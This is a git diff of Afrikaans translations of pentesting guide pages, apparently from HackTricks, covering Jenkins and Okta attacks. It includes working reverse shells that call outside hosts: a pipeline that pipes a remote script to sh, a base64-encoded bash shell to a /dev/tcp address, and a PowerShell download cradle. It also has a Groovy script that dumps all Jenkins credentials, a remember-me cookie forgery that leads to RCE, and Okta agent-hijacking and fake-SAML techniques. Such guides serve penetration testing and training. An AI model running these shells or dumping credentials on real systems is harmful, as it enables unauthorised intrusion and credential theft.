reaksietyd. 'n Node word vanlyn geneem as enige van hierdie waardes buite die geconfigureerde drempel gaan. +**Nodes** is die **masjiene** waarop bou **agents werk**. Jenkins monitor elke aangehegte node vir skyfspasie, vrye tydelike ruimte, vrye swap, kloktyd/synk en reaksietyd. 'n Node word vanlyn geneem as enige van hierdie waardes buite die geconfigureerde drempel gaan. -**Agents** **bestuur** die **taakuitvoering** namens die Jenkins-beheerder deur **executors** te gebruik. 'n Agent kan enige bedryfstelsel gebruik wat Java ondersteun. Gereedskap wat benodig word vir bou en toetse word op die node geïnstalleer waar die agent loop; hulle kan **direk of in 'n houer** (Docker of Kubernetes) geïnstalleer word. Elke **agent is effektief 'n proses met sy eie PID** op die gasheer masjien. +**Agents** **bestuur** die **taakuitvoering** namens die Jenkins-beheerder deur **executors** te gebruik. 'n agent kan enige bedryfstelsel gebruik wat Java ondersteun. Gereedskap wat benodig word vir bou en toetse word op die node geïnstalleer waar die agent loop; hulle kan **direk of in 'n houer** (Docker of Kubernetes) geïnstalleer word. Elke **agent is effektief 'n proses met sy eie PID** op die gasheer masjien. 'n **executor** is 'n **gleuf vir die uitvoering van take**; effektief, dit is **'n draad in die agent**. Die **aantal executors** op 'n node definieer die aantal **gelyktydige take** wat op daardie node op 'n slag uitgevoer kan word. Met ander woorde, dit bepaal die **aantal gelyktydige Pipeline `stages`** wat op daardie node op 'n slag kan uitvoer. -## Jenkins Secrets +## Jenkins Geheime -### Encryption of Secrets and Credentials +### Enkripsie van Geheime en Kredensiale -Definisie van die [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins gebruik **AES om geheime**, kredensiale, en hul onderskeie versleuteling sleutels te versleutel en te beskerm. Hierdie versleuteling sleutels word gestoor in `$JENKINS_HOME/secrets/` saam met die meester sleutel wat gebruik word om genoemde sleutels te beskerm. Hierdie gids moet geconfigureer word sodat slegs die bedryfstelsel gebruiker wat die Jenkins-beheerder uitvoer, lees- en skrywe toegang tot hierdie gids het (d.w.s. 'n `chmod` waarde van `0700` of deur toepaslike lêer eienskappe te gebruik). Die **meester sleutel** (soms verwys as 'n "sleutel versleuteling sleutel" in cryptojargon) is **gestoor \_onversleuteld\_** op die Jenkins-beheerder lêerstelsel in **`$JENKINS_HOME/secrets/master.key`** wat nie teen aanvallers met direkte toegang tot daardie lêer beskerm nie. Meeste gebruikers en ontwikkelaars sal hierdie versleuteling sleutels indirek gebruik via óf die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API vir die versleuteling van generiese geheime data of deur die kredensiale API. Vir die cryptocurious, gebruik Jenkins AES in cipher block chaining (CBC) modus met PKCS#5 padding en random IVs om voorbeelde van [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) te versleutel wat gestoor word in `$JENKINS_HOME/secrets/` met 'n lêernaam wat ooreenstem met hul `CryptoConfidentialKey` id. Algemene sleutel id's sluit in: +Definisie van die [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins gebruik **AES om geheime**, kredensiale, en hul onderskeie enkripsiesleutels te enkripteer en te beskerm. Hierdie enkripsiesleutels word in `$JENKINS_HOME/secrets/` gestoor saam met die meester sleutel wat gebruik word om genoemde sleutels te beskerm. Hierdie gids moet geconfigureer word sodat slegs die bedryfstelselgebruiker waarvoor die Jenkins-beheerder loop, lees- en skrywe toegang tot hierdie gids het (d.w.s. 'n `chmod` waarde van `0700` of deur toepaslike lêer eienskappe te gebruik). Die **meester sleutel** (soms verwys as 'n "sleutel-enkripsiesleutel" in cryptojargon) is **gestoor \_ongeënkripteer**\_ op die Jenkins-beheerder se lêerstelsel in **`$JENKINS_HOME/secrets/master.key`** wat nie teen aanvallers met direkte toegang tot daardie lêer beskerm nie. Meeste gebruikers en ontwikkelaars sal hierdie enkripsiesleutels indirek gebruik via óf die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API vir die enkripsie van generiese geheime data of deur die kredensiale API. Vir die cryptocurious, gebruik Jenkins AES in cipher block chaining (CBC) modus met PKCS#5 padding en willekeurige IV's om voorbeelde van [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) te enkripteer wat in `$JENKINS_HOME/secrets/` gestoor word met 'n lêernaam wat ooreenstem met hul `CryptoConfidentialKey` id. Algemene sleutel id's sluit in: - `hudson.util.Secret`: gebruik vir generiese geheime; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: gebruik vir sommige kredensiale tipes; - `jenkins.model.Jenkins.crumbSalt`: gebruik deur die [CSRF beskermingsmeganisme](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); en -### Credentials Access +### Kredensiale Toegang -Kredensiale kan **geskik word vir globale verskaffers** (`/credentials/`) wat deur enige geconfigureerde projek toegang verkry kan word, of kan geskik word vir **spesifieke projekte** (`/job//configure`) en dus slegs vanaf die spesifieke projek toeganklik wees. +Kredensiale kan **geskik word vir globale verskaffers** (`/credentials/`) wat deur enige geconfigureerde projek toegang kan verkry, of kan geskik word vir **spesifieke projekte** (`/job//configure`) en dus slegs vanaf die spesifieke projek toeganklik wees. -Volgens [**die docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredensiale wat in die omvang is, word sonder beperking aan die pyplyn beskikbaar gestel. Om **per ongeluk blootstelling in die boulog te voorkom**, word kredensiale **gemasker** van gewone uitvoer, so 'n aanroep van `env` (Linux) of `set` (Windows), of programme wat hul omgewing of parameters druk, sou **nie hulle in die boulog onthul nie** aan gebruikers wat andersins nie toegang tot die kredensiale sou hê nie. +Volgens [**die docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredensiale wat in die omvang is, word sonder beperking aan die pyplyn beskikbaar gestel. Om **per ongeluk blootstelling in die boulog te voorkom**, word kredensiale **gemasker** van gewone uitvoer, sodat 'n aanroep van `env` (Linux) of `set` (Windows), of programme wat hul omgewing of parameters druk, **nie in die boulog aan gebruikers wat andersins nie toegang tot die kredensiale sou hê nie, onthul word**. **Dit is waarom 'n aanvaller, om die kredensiale te ontvoer, byvoorbeeld, hulle in base64 moet kodifiseer.** -## References +## Verwysings - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 3a50c496d..cf991cc95 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -1,4 +1,4 @@ -# Jenkins Arbitrary File Read to RCE via "Remember Me" +# Jenkins Arbitrêre Lêer Lees na RCE via "Onthou My" {{#include ../../banners/hacktricks-training.md}} @@ -8,17 +8,17 @@ Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardig ### Aanval Voorvereistes -- **Kenmerk Vereiste:** "Remember me" moet geaktiveer wees (standaardinstelling). +- **Kenmerk Vereiste:** "Onthou my" moet geaktiveer wees (standaardinstelling). - **Toegangsvlakke:** Aanvaller benodig Algemene/Lees regte. - **Geheime Toegang:** Vermoë om beide binêre en teksinhoud van sleutel lêers te lees. ### Gedetailleerde Exploitasiestap -#### Stap 1: Data Versameling +#### Stap 1: Gegevensinsameling -**Gebruiker Inligting Herwinning** +**Gebruikersinligting Herwinning** -- Toegang tot gebruiker konfigurasie en geheime van `$JENKINS_HOME/users/*.xml` vir elke gebruiker om te versamel: +- Toegang gebruikerskonfigurasie en geheime van `$JENKINS_HOME/users/*.xml` vir elke gebruiker om te versamel: - **Gebruikersnaam** - **Gebruiker saad** - **Tydstempel** @@ -31,7 +31,7 @@ Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardig - **Meester Sleutel:** `$JENKINS_HOME/secrets/master.key` - **MAC Sleutel Lêer:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` -#### Stap 2: Koekie Vervalsing +#### Stap 2: Koekie Valsifikasie **Token Voorbereiding** @@ -41,7 +41,7 @@ Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardig tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Voeg een uur by die huidige tyd ``` -- **Konkateer Data vir Token:** +- **Konkateer Gegevens vir Token:** ```javascript token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey @@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature - **Haal CSRF en Sessie Tokens:** - Maak 'n versoek na `/crumbIssuer/api/json` om `Jenkins-Crumb` te verkry. -- Vang `JSESSIONID` uit die antwoord, wat saam met die remember-me koekie gebruik sal word. +- Vang `JSESSIONID` uit die antwoord, wat saam met die onthou-my koekie gebruik sal word. **Opdrag Uitvoeringsversoek** @@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \ - Groovy skrip kan gebruik word om stelselniveau opdragte of ander operasies binne die Jenkins omgewing uit te voer. -Die voorbeeld curl opdrag wat verskaf word demonstreer hoe om 'n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer. +Die voorbeeld curl-opdrag wat verskaf word demonstreer hoe om 'n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 9bce99040..40e97091c 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,9 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Let daarop dat hierdie skripte slegs die geheime binne die `credentials.xml`-lêer sal lys, maar **boukonfigurasielêers** mag ook **meer kredensiale** hê. +> Let daarop dat hierdie skrifte slegs die geheime binne die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê. -Jy kan **alle geheime uit die Groovy Script-konsol** in `/script` dump deur hierdie kode te loop +Jy kan **alle geheime uit die Groovy Script konsole** in `/script` dump deur hierdie kode te loop. ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index dc89eeb70..dfffefbbd 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,4 +1,4 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Skep/Wysig Pyplyn {{#include ../../banners/hacktricks-training.md}} @@ -8,7 +8,7 @@ In "Nuwe Item" (toeganklik in `/view/all/newJob`) kies **Pyplyn:** ![](<../../images/image (235).png>) -In die **Pyplyn afdeling** skryf die **reverse shell**: +In die **Pyplyn afdeling** skryf die **omgekeerde dop**: ![](<../../images/image (285).png>) ```groovy @@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh } } ``` -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +Laastens klik op **Stoor**, en **Bou Nou** en die pyplyn sal uitgevoer word: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## Wysig 'n Pyplyn -As jy toegang het tot die konfigurasie-lêer van 'n sekere geconfigureerde pyplyn, kan jy dit eenvoudig **wysig deur jou omgekeerde skulp by te voeg** en dit dan uitvoer of wag totdat dit uitgevoer word. +As jy toegang het tot die konfigurasie-lêer van 'n geconfigureerde pyplyn, kan jy dit eenvoudig **wysig deur jou omgekeerde skulp by te voeg** en dit dan uitvoer of wag totdat dit uitgevoer word. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 9c20b0d5b..6d897cb06 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,36 +1,36 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Skep/Wysig Projek {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Skep 'n Projek Hierdie metode is baie luidrugtig omdat jy 'n heel nuwe projek moet skep (duidelik sal dit net werk as jou gebruiker toegelaat word om 'n nuwe projek te skep). -1. **Skep 'n nuwe projek** (Freestyle project) deur op "New Item" te klik of in `/view/all/newJob` -2. Binne die **Build** afdeling stel **Execute shell** in en plak 'n powershell Empire launcher of 'n meterpreter powershell (kan verkry word met _unicorn_). Begin die payload met _PowerShell.exe_ in plaas van _powershell._ -3. Klik op **Build now** -1. As die **Build now** knoppie nie verskyn nie, kan jy steeds na **configure** --> **Build Triggers** --> `Build periodically` gaan en 'n cron van `* * * * *` stel -2. In plaas van om cron te gebruik, kan jy die konfigurasie "**Trigger builds remotely**" gebruik waar jy net die api token naam moet stel om die taak te aktiveer. Gaan dan na jou gebruikersprofiel en **genereer 'n API token** (noem hierdie API token soos jy die api token genoem het om die taak te aktiveer). Laastens, aktiveer die taak met: **`curl :@/job//build?token=`** +1. **Skep 'n nuwe projek** (Freestyle projek) deur op "Nuwe Item" te klik of in `/view/all/newJob` +2. Binne die **Bou** afdeling stel **Voer shell uit** in en plak 'n powershell Empire launcher of 'n meterpreter powershell (kan verkry word met _unicorn_). Begin die payload met _PowerShell.exe_ in plaas van _powershell._ +3. Klik op **Bou nou** +1. As die **Bou nou** knoppie nie verskyn nie, kan jy steeds na **konfigureer** --> **Bou Triggers** --> `Bou periodiek` gaan en 'n cron van `* * * * *` stel +2. In plaas van om cron te gebruik, kan jy die konfigurasie "**Trigger boue van buite**" gebruik waar jy net die api token naam moet stel om die taak te trigger. Gaan dan na jou gebruikersprofiel en **genereer 'n API token** (noem hierdie API token soos jy die api token genoem het om die taak te trigger). Laastens, trigger die taak met: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Wysig 'n Projek -Gaan na die projekte en kyk **of jy enige** daarvan kan konfigureer (soek na die "Configure button"): +Gaan na die projekte en kyk **of jy enige** van hulle kan konfigureer (soek na die "Konfigureer knoppie"): ![](<../../images/image (265).png>) -As jy **nie** enige **konfigurasie** **knoppie** kan sien nie, dan kan jy waarskynlik **nie** dit **konfigureer** nie (maar kyk na al die projekte aangesien jy dalk sommige daarvan kan konfigureer en nie ander nie). +As jy **nie** enige **konfigurasie** **knoppie** kan sien nie, dan kan jy waarskynlik **nie** **dit konfigureer** nie (maar kyk na al die projekte aangesien jy dalk sommige van hulle kan konfigureer en nie ander nie). Of **probeer om toegang te verkry tot die pad** `/job//configure` of `/me/my-views/view/all/job//configure` \_\_ in elke projek (voorbeeld: `/job/Project0/configure` of `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Uitvoering -As jy toegelaat word om die projek te konfigureer, kan jy **maak dat dit opdragte uitvoer wanneer 'n bou suksesvol is**: +As jy toegelaat word om die projek te konfigureer, kan jy **dit laat opdragte uitvoer wanneer 'n bou suksesvol is**: ![](<../../images/image (98).png>) -Klik op **Save** en **bou** die projek en jou **opdrag sal uitgevoer word**.\ +Klik op **Stoor** en **bou** die projek en jou **opdrag sal uitgevoer word**.\ As jy nie 'n reverse shell uitvoer nie, maar 'n eenvoudige opdrag, kan jy **die uitvoer van die opdrag binne die uitvoer van die bou sien**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 5b9747e7d..bd1fa0730 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -7,16 +7,16 @@ Dit is minder luidrugtig as om 'n nuwe projek in Jenkins te skep 1. Gaan na _path_jenkins/script_ -2. Binne die tekskas stel die skrip voor +2. Binne die tekskas, stel die skrip voor ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` -U kan 'n opdrag uitvoer met: `cmd.exe /c dir` +Jy kan 'n opdrag uitvoer met: `cmd.exe /c dir` In **linux** kan jy doen: **`"ls /".execute().text`** -As jy _aanhalings_ en _enkele aanhalings_ binne die teks moet gebruik. Jy kan _"""PAYLOAD"""_ (drie dubbele aanhalings) gebruik om die payload uit te voer. +As jy _aanhalings_ en _enkele aanhalings_ binne die teks moet gebruik, kan jy _"""PAYLOAD"""_ (drie dubbele aanhalings) gebruik om die payload uit te voer. **Nog 'n nuttige groovy script** is (vervang \[INSERT COMMAND]): ```python @@ -26,7 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` -### Omgekeerde skulp in linux +### Omgekeerde dop in linux ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -42,11 +42,11 @@ scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1 echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` -### Script +### Skrip Jy kan hierdie proses outomatiseer met [**hierdie skrip**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). -Jy kan MSF gebruik om 'n omgekeerde shell te kry: +Jy kan MSF gebruik om 'n omgekeerde skulp te kry: ``` msf> use exploit/multi/http/jenkins_script_console ``` diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 6a52b1520..6eb7a4e87 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -1,104 +1,104 @@ -# Okta Security +# Okta Veiligheid {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -[Okta, Inc.](https://www.okta.com/) word erken in die identiteit en toegang bestuur sektor vir sy wolk-gebaseerde sagteware oplossings. Hierdie oplossings is ontwerp om gebruikersverifikasie oor verskeie moderne toepassings te stroomlyn en te beveilig. Hulle is nie net gerig op maatskappye wat hul sensitiewe data wil beskerm nie, maar ook op ontwikkelaars wat belangstel om identiteitsbeheer in toepassings, webdienste en toestelle te integreer. +[Okta, Inc.](https://www.okta.com/) word erken in die identiteit en toegangsbestuursektor vir sy wolk-gebaseerde sagtewareoplossings. Hierdie oplossings is ontwerp om gebruikersverifikasie oor verskeie moderne toepassings te stroomlyn en te beveilig. Hulle is nie net gerig op maatskappye wat hul sensitiewe data wil beskerm nie, maar ook op ontwikkelaars wat belangstel om identiteitsbeheer in toepassings, webdienste en toestelle te integreer. -Die vlaggies aanbod van Okta is die **Okta Identity Cloud**. Hierdie platform sluit 'n suite van produkte in, insluitend maar nie beperk tot nie: +Die vlaggies aanbod van Okta is die **Okta Identiteitswolk**. Hierdie platform sluit 'n suite van produkte in, insluitend maar nie beperk tot nie: -- **Single Sign-On (SSO)**: Vereenvoudig gebruikers toegang deur een stel aanmeldbesonderhede oor verskeie toepassings toe te laat. -- **Multi-Factor Authentication (MFA)**: Versterk sekuriteit deur verskeie vorme van verifikasie te vereis. -- **Lifecycle Management**: Automatiseer die skepping, opdatering en deaktivering van gebruikersrekeninge. -- **Universal Directory**: Maak sentrale bestuur van gebruikers, groepe en toestelle moontlik. -- **API Access Management**: Beveilig en bestuur toegang tot API's. +- **Enkele Aanmelding (SSO)**: Vereenvoudig gebruikers toegang deur een stel aanmeldbesonderhede oor verskeie toepassings toe te laat. +- **Multi-Factor Verifikasie (MFA)**: Versterk sekuriteit deur verskeie vorme van verifikasie te vereis. +- **Levensiklusbestuur**: Automatiseer die skepping, opdatering en deaktivering van gebruikersrekeninge. +- **Universale Gids**: Maak sentrale bestuur van gebruikers, groepe en toestelle moontlik. +- **API Toegang Bestuur**: Beveilig en bestuur toegang tot API's. -Hierdie dienste het as doel om dataprotectie te versterk en gebruikers toegang te stroomlyn, wat beide sekuriteit en gerief verbeter. Die veelsydigheid van Okta se oplossings maak dit 'n gewilde keuse oor verskeie industrieë, voordelig vir groot ondernemings, klein maatskappye en individuele ontwikkelaars. Soos van die laaste opdatering in September 2021, word Okta erken as 'n prominente entiteit in die Identiteit en Toegang Bestuur (IAM) arena. +Hierdie dienste het as doel om dataprotectie te versterk en gebruikers toegang te stroomlyn, wat beide sekuriteit en gerief verbeter. Die veelsydigheid van Okta se oplossings maak dit 'n gewilde keuse oor verskeie bedrywe, voordelig vir groot ondernemings, klein maatskappye en individuele ontwikkelaars. Soos van die laaste opdatering in September 2021, word Okta erken as 'n prominente entiteit in die Identiteit en Toegangsbestuur (IAM) arena. > [!CAUTION] -> Die hoofdoel van Okta is om toegang tot verskillende gebruikers en groepe tot eksterne toepassings te konfigureer. As jy daarin slaag om **administrateur regte in 'n Okta** omgewing te **kompromitteer**, sal jy hoogs waarskynlik in staat wees om **alle ander platforms wat die maatskappy gebruik te kompromitteer**. +> Die hoofdoel van Okta is om toegang tot verskillende gebruikers en groepe tot eksterne toepassings te konfigureer. As jy daarin slaag om **administrateurregte in 'n Okta** omgewing te **kompromitteer**, sal jy hoogs waarskynlik in staat wees om **al die ander platforms wat die maatskappy gebruik te kompromitteer**. > [!TIP] > Om 'n sekuriteitsherziening van 'n Okta omgewing uit te voer, moet jy vra vir **administrateur lees-slegs toegang**. -### Summary +### Samevatting Daar is **gebruikers** (wat kan wees **gestoor in Okta,** ingelogde van geconfigureerde **Identiteitsverskaffers** of geverifieer via **Active Directory** of LDAP).\ Hierdie gebruikers kan binne **groepe** wees.\ Daar is ook **verifikators**: verskillende opsies om te verifieer soos wagwoord, en verskeie 2FA soos WebAuthn, e-pos, telefoon, okta verify (hulle kan geaktiveer of gedeaktiveer wees)... -Dan is daar **toepassings** wat met Okta gesinkroniseer is. Elke toepassing sal 'n paar **kaarte met Okta** hê om inligting te deel (soos e-pos adresse, voorname...). Boonop moet elke toepassing binne 'n **Verifikasiebeleid** wees, wat die **nodige verifikators** aandui vir 'n gebruiker om die toepassing te **benader**. +Dan is daar **toepassings** wat gesinkroniseer is met Okta. Elke toepassing sal 'n paar **kaarte met Okta** hê om inligting te deel (soos e-posadresse, voorname...). Boonop moet elke toepassing binne 'n **Verifikasiebeleid** wees, wat die **nodige verifikators** aandui vir 'n gebruiker om **toegang** tot die toepassing te verkry. > [!CAUTION] -> Die mees kragtige rol is **Super Administrator**. +> Die mees kragtige rol is **Super Administrateur**. > -> As 'n aanvaller Okta met Administrateur toegang kompromitteer, sal al die **toepassings wat Okta vertrou** hoogs waarskynlik **gekompromitteer** wees. +> As 'n aanvaller Okta met Administrateur toegang kompromitteer, sal al die **apps wat Okta vertrou** hoogs waarskynlik **gekompromitteer** wees. -## Attacks +## Aanvalle -### Locating Okta Portal +### Lokasie van Okta Portaal Gewoonlik sal die portaal van 'n maatskappy geleë wees in **companyname.okta.com**. As dit nie so is nie, probeer eenvoudige **variaties** van **companyname.** As jy dit nie kan vind nie, is dit ook moontlik dat die organisasie 'n **CNAME** rekord het soos **`okta.companyname.com`** wat na die **Okta portaal** wys. -### Login in Okta via Kerberos +### Aanmelding in Okta via Kerberos As **`companyname.kerberos.okta.com`** aktief is, **word Kerberos gebruik vir Okta toegang**, wat tipies **MFA** vir **Windows** gebruikers omseil. Om Kerberos-geverifieerde Okta gebruikers in AD te vind, voer **`getST.py`** uit met **geskikte parameters**. Nadat jy 'n **AD gebruikerskaart** verkry het, **injekteer** dit in 'n beheerde gasheer met behulp van gereedskap soos Rubeus of Mimikatz, en verseker dat **`clientname.kerberos.okta.com` in die Internet Opsies "Intranet" sone is**. Toegang tot 'n spesifieke URL moet 'n JSON "OK" antwoord teruggee, wat die aanvaarding van die Kerberos kaart aandui, en toegang tot die Okta dashboard verleen. -Die kompromitering van die **Okta diensrekening met die delegasie SPN stel 'n Silver Ticket aanval in staat.** egter, Okta se gebruik van **AES** vir kaartversleuteling vereis dat die AES-sleutel of platte wagwoord besit word. Gebruik **`ticketer.py` om 'n kaart vir die slagoffer gebruiker te genereer** en lewer dit via die blaaiert om met Okta te verifieer. +Die kompromitering van die **Okta diensrekening met die delegasie SPN stel 'n Silver Ticket aanval in staat.** egter, Okta se gebruik van **AES** vir kaartversleuteling vereis dat die AES-sleutel of platte wagwoord besit word. Gebruik **`ticketer.py` om 'n kaart vir die slagoffer gebruiker te genereer** en lewer dit via die blaaier om met Okta te verifieer. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking Okta AD Agent +### Kaap Okta AD Agent -Hierdie tegniek behels **toegang tot die Okta AD Agent op 'n bediener**, wat **gebruikers sinkroniseer en verifikasie hanteer**. Deur konfigurasies in **`OktaAgentService.exe.config`** te ondersoek en te ontsleutel, veral die AgentToken met behulp van **DPAPI**, kan 'n aanvaller potensieel **verifikasiedata onderskep en manipuleer**. Dit stel nie net in staat om **te monitor** en **gebruikers se akrediteer in platte teks** tydens die Okta verifikasie proses nie, maar ook om **te reageer op verifikasie pogings**, wat ongeoorloofde toegang moontlik maak of universele verifikasie deur Okta bied (soos 'n 'skelet sleutel'). +Hierdie tegniek behels **toegang tot die Okta AD Agent op 'n bediener**, wat **gebruikers sinkroniseer en verifikasie hanteer**. Deur konfigurasies in **`OktaAgentService.exe.config`** te ondersoek en te ontsleutel, veral die AgentToken met behulp van **DPAPI**, kan 'n aanvaller potensieel **verifikasiedata onderskep en manipuleer**. Dit stel nie net in staat om **te monitor** en **gebruikerswagwoorde** in platte teks tydens die Okta verifikasieproses te vang nie, maar ook om **te reageer op verifikasie pogings**, wat ongeoorloofde toegang moontlik maak of universele verifikasie deur Okta bied (soos 'n 'skelet sleutel'). -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking AD As an Admin +### Kaap AD As 'n Admin -Hierdie tegniek behels die kaping van 'n Okta AD Agent deur eers 'n OAuth Code te verkry, en dan 'n API-token aan te vra. Die token is geassosieer met 'n AD domein, en 'n **connector word genoem om 'n vals AD agent te vestig**. Inisialiserings laat die agent toe om **verifikasie pogings te verwerk**, wat akrediteer via die Okta API vasvang. Outomatiseringsgereedskap is beskikbaar om hierdie proses te stroomlyn, wat 'n naatlose metode bied om verifikasiedata binne die Okta omgewing te onderskep en te hanteer. +Hierdie tegniek behels die kaaping van 'n Okta AD Agent deur eers 'n OAuth Code te verkry, en dan 'n API-token aan te vra. Die token is geassosieer met 'n AD domein, en 'n **connector word genoem om 'n vals AD agent te vestig**. Inisialiserings laat die agent toe om **verifikasie pogings te verwerk**, wat wagwoorde via die Okta API vang. Outomatiseringsgereedskap is beskikbaar om hierdie proses te stroomlyn, wat 'n naatlose metode bied om verifikasiedata binne die Okta omgewing te onderskep en te hanteer. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Okta Fake SAML Provider +### Okta Vals SAML Verskaffer -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -Die tegniek behels **die ontplooiing van 'n vals SAML verskaffer**. Deur 'n eksterne Identiteitsverskaffer (IdP) binne Okta se raamwerk te integreer met 'n bevoorregte rekening, kan aanvallers **die IdP beheer, enige verifikasie versoek na willekeur goedkeur**. Die proses behels die opstelling van 'n SAML 2.0 IdP in Okta, die manipulasie van die IdP Single Sign-On URL vir omleiding via die plaaslike gashere lêer, die generering van 'n self-ondertekende sertifikaat, en die konfigurasie van Okta instellings om teen die gebruikersnaam of e-pos te pas. Die suksesvolle uitvoering van hierdie stappe maak verifikasie as enige Okta gebruiker moontlik, wat die behoefte aan individuele gebruikers akrediteer omseil, wat toegangbeheer in 'n potensieel onopgemerkte manier aansienlik verhoog. +Die tegniek behels **die ontplooiing van 'n vals SAML verskaffer**. Deur 'n eksterne Identiteitsverskaffer (IdP) binne Okta se raamwerk te integreer met behulp van 'n bevoorregte rekening, kan aanvallers **die IdP beheer, enige verifikasie versoek na willekeur goedkeur**. Die proses behels die opstelling van 'n SAML 2.0 IdP in Okta, die manipulasie van die IdP Enkele Aanmelding URL vir omleiding via die plaaslike gashere-lêer, die generering van 'n self-ondertekende sertifikaat, en die konfigurasie van Okta-instellings om teen die gebruikersnaam of e-pos 